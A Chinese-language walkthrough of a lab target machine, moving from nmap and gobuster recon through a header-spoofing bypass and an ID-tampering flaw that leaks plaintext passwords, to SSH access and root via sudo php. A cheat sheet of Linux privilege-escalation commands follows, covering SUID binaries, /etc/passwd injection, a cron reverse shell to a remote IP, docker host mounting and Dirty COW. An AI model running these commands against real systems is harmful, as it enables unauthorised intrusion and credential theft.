思路总结
总体来说,在利用nmap进行扫描以后发发现主机,正对主机ip进行端口与服务的扫描,发现网站开放的80端口,访问发现没有任何功能,尝试gobuster与工具的使用扫描目录与敏感文件,但是无可利用信息,查看网页源码发现暴出来的信息use x-forwarded-for,说是必须设置本地的请求头,于是用burp进行设置,进入到主界面,根据相关的功能进行测试,注册后发现该网站可以水平越权访问,并且在网页表单中就存放着密码,经过挨个测试成功ssh登录到目标靶机,在这个时候针对该账户有的权限,账户下面的子文件夹进行一顿访问,发现数据库配置文件,成功进入数据库中当时也没有可利用信息,测试了7种基本提权方式(目的是为了回顾最近所学的),但是都没有结果,所以还是利用该用户拥有的特权可以执行php命令,执行木马使系统命令生成一个新的bash,就此提权成功。
1.信息收集
使用nmap扫描发现主机
nmap -sn 192.168.20.0/24
扫描主机开放端口
用全TCP协议进行扫描,速度肯能会慢但是结果会更准确,输出到nmapscan文件夹,这里要提前创建好文件夹,port是多个类型文件会自动生成
nmap -sT --min-rate 10000 -p- 192.168.20.13 -oA nmapscan/ports
扫描TCP服务,服务版本,默认脚本扫描,系统版本扫描
nmap -sT -sV -sC -O -p22,80 192.168.20.13 -oA nmapscan/detail
扫描udp服务,只扫top20
nmap -sU --top-ports 20 192.168.20.13 -oA nmapscan/Udp
使用默认脚本再次扫描
nmap --script=vuln -p22,80 192.168.20.13
查看网页源代码
网页与源代码都没有可利用信息,只是提醒可以利用主机头转发
尝试gobuster目录爆破
gobugobuster dir -u http://192.168.20.13 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
扫了两个目录
但是都是php文件,被网站解析了,访问不到内容
再进行一下敏感文件的扫描,其实这一步和上一步都可以用工具来扫描,gobuster扫描敏感文件需要加指定的参数
工具扫描结果
gobuster扫描结果
gobuster dir -u http://192.168.20.13 -x txt,sql,rar,zip,tar -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
访问文件robots.txt,在这里包含了一个文件
访问这个文件
意思就是继续找继续攻击拿到shell
2.信息利用
针对于源码所提供的信息可以知到,访问这个网站的要求是只能是本地的请求头,利用这个信息去更改请求头信息就可以
2.1burp添加规则,使用内置浏览器
利用burp,添加一条请求头规则
然后用burp自带的浏览器进行访问,如果提示没有的话,根据提示信息进行设置就可以,这里面的浏览器是默认配置好代理的
内置浏览器中再次访问可以看到,页面已经发生了变化
2.2burp抓包,篡改请求信息
浏览器安装代理插件,使用burp代理进行抓包,然后添加请求报文信息:x-forwarded-for:localhost,但是这种方法存在弊端,就是很慢并且每一次提交请求都要加请求头信息,要一直抓包,推荐第一种方法
默认请求头:
修改后
访问结果
3.网页信息收集与利用
3.1页面分析
首先是登录界面
用户注册界面
关于界面
3.2注册
由于不知道用户名与密码,但是有注册功能,这里很简单的就是进行注册,注册一个账户进行网站内部分析
这里注册的用户名与密码均为shark/shark,又进入到一个新的页面,接下来和3.1一样进行页面分析
3.3漏洞里利用
当进入到登录界面后,尝试sql注入但是未能闭合,发现界面的Prifile界面有显示id,当替换id的时候会发现,用户信息发生改变,当前网站存在水平越权
看到这个页面有显示用户名,但是密码被隐藏了,尝试使用F12打开网页浏览,看看表单数据当中有没有用户名密码
打开后发现用户名与密码的信息就在表单当中,而且没有进行加密与其他处理
在1中,通过信息收集发现22端口,尝试替换id=x来获取用户名与密码,然后进行ssh连接,因为我们的id是12,所以最多用户也只有11个,数据量很小,可以一个一个尝试,但是左后只有id=4登录成功
进入系统后遍历系统中可能存在的目录,尝试寻找其他有用的信息,比如系统中其他的用户,系统中网站根目录的配置文件等
搜刮目录
网站根目录
没有可利用信息
配置环境,可执行clean命令 : export TERM=xterm-color
4.提权
4.1.尝试内核提权
。。。。这俩没看懂咋用,下载的压缩包里面确实有可执行文件,但是需要搭建服务端,暂且放弃
查看系统内核 uname -a cat /proc/version cat /etc/issue cat /etc/redhat-release lsb_release -a searchsploit Ubuntu 15.04 //中间参数,-t,-s searchsploit -m xxxx.xx //移动到当前文件夹 如果有可以利用的脚本,将其放在网站环境下,用受攻击主机下载文件,或者用webshell管理工具进行上传,将放进去的文件增加最高权限,编译、运行
4.2尝试sudo提权
看看当前用户有哪些特权可以用,sudo执行
可以看到当前用户可以执行php
利用php执行系统命令木马尝试提权
。。。艰辛的输入过程:
sudo /usr/bin/php -r "system('/bin/bash');"
找到两个flag
ls查看不到的文件可以执行 ls -liah
4.3尝试passwd提权
权限不够
这个主要是可以执行sudo权限或者可写passwd文件,在其中添加一个自己设定的用户
用户密码加盐命令 : openssl passwd -1 -salt f5 123456
新增账户格式: zzz:$1$f5$SCvGCeNQx7XDHgIkUlzYd:0:0:/root:/bin/bash //高亮为加盐密码
4.4尝试suid提权
4.4.1总结一下suid提权
查找可以提权的命令 find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \; find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} ; sudo -l
可以提权的命令
- Nmap
提权原理:目标主机存在版本在 2.02-5.21 之间的 nmap也是可以尝试SUID提权
验证提权:nmap -V
提权命令:nmap --interactive //进入交互模式
提升shell:!sh
- Vim
提权验证:vim.tiny /etc/shadow
提权命令: vim.tiny Press ESC key :set shell=/bin/sh :shell
- find :
验证提权
touch pentestlab
find pentestlab -exec whoami ;
提权命令:find pentestlab -exec netcat -lvp 5555 -e /bin/sh ;
掘金的一篇文章但是还没用过 cd /tmp;touch xxx 随便创建一个文件可以在tmp目录下 find xxx -exec whoami ; find xxx -exec /bin/sh ; 利用find得到一个root权限的shell find xxx -exec nc -lvp 1234 -e /bin/sh ;利用nc反弹一个root权限的shell
- Bash
提权原理:以下命令将以root权限打开一个bash shell
提权命令:bash -p
- More/Less
提权原理:less命令用于显示文件或命令输出的内容,它一次只显示一个页面(分页显示工具)。它类似于more命令,而且他们两个的提权方法基本一致,但 需要注意的是只有比较大的文件才能进行翻页
提权命令: less(or more) /etc/passwd #在less(or more)中输入: !/bin/sh
- Nano
提权原理:nano是Unix和类Unix系统中的一个文本编辑器,我们也可以利用它来提权
提权命令: nano Ctrl + R Ctrl + X 即可进入命令行
- cp
提权原理:覆盖 /etc/shadow 或 /etc/passwd
- perl
提权原理:linux中常用脚本
提权命令: sudo perl -e 'exec "/bin/sh";' python/perl/ruby/lua/php/etc python -c "importos;os.system('/bin/bash')
- ed
提权原理:ed是Linux中功能最简单的文本编辑程序,一次仅能编辑一行而非全屏幕方式的操作
提权命令: ed !whoami root !
- awk
命令作用:数据过滤工具 (类似于grep),属数据处理引擎,基于模式匹配检查输入文本,逐行处理并输出
提权命令:awk 'BEGIN {system("whoami")}'
- nice
提权原理:以更改过的优先序来执行程式, 简单来说就是修改程序的优先级
提权命令:nice whoami
- mv
提权原理:覆盖 /etc/shadow 或 /etc/passwd
4.5计划任务列表提权crontab
但是没有开放日志功能看不到
查看计划任务: cat /etc/crontab
crontab -l 查看当前用户命令
利用tail -f /var/log/syslog查看日志中的信息,根据日志可以分析任务列表一直在调用的文件
更改文件呢容反弹shell: bash -i >& /dev/tcp/192.168.20.22/9999 0>&1
4.6docker提权
docker是一个容器 可以在同一台机子虚拟多台服务。
输入命令id 和group 查询当前用户信息和组信息 发现存在docker组
输入命令下载使用容器把容器的目录挂载到宿主的根目录
docker run -v /:/mnt -it alpine
访问宿主的/etc/shadow
cat /mnt/etc/shadow
Sudo提权后通过docker的虚拟机的管理员权限修改配置文件,达到篡改root账户的目的
4.7脏牛提权
4.7.1脏牛提权原理
该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。
4.7.2脏牛提权流程
(1)漏洞判断
确定内核是否在脏牛提权影响范围内
漏洞影响范围:Linux Kernel>=2.6.22的所有linux主机(没有打过补丁,内有针对系统进行维护的)
受影响内的核心发布之间为2007-2016年10月18日
(2)漏洞脚本获取
网址:GitHub - imust6226/dirtcow: 脏牛Linux本地提权漏洞复现(CVE-2016-5195)
(3)提权
将提权脚本上传到受攻击主机
使用 gcc -pthread dirty.c -o dirty -lcrypt 命令对dirty.c进行编译,生成一个dirty的可执行文件(编译c文件,使其可执行)
执行 ./dirty pass ,即可进行提权,pass为设置的密码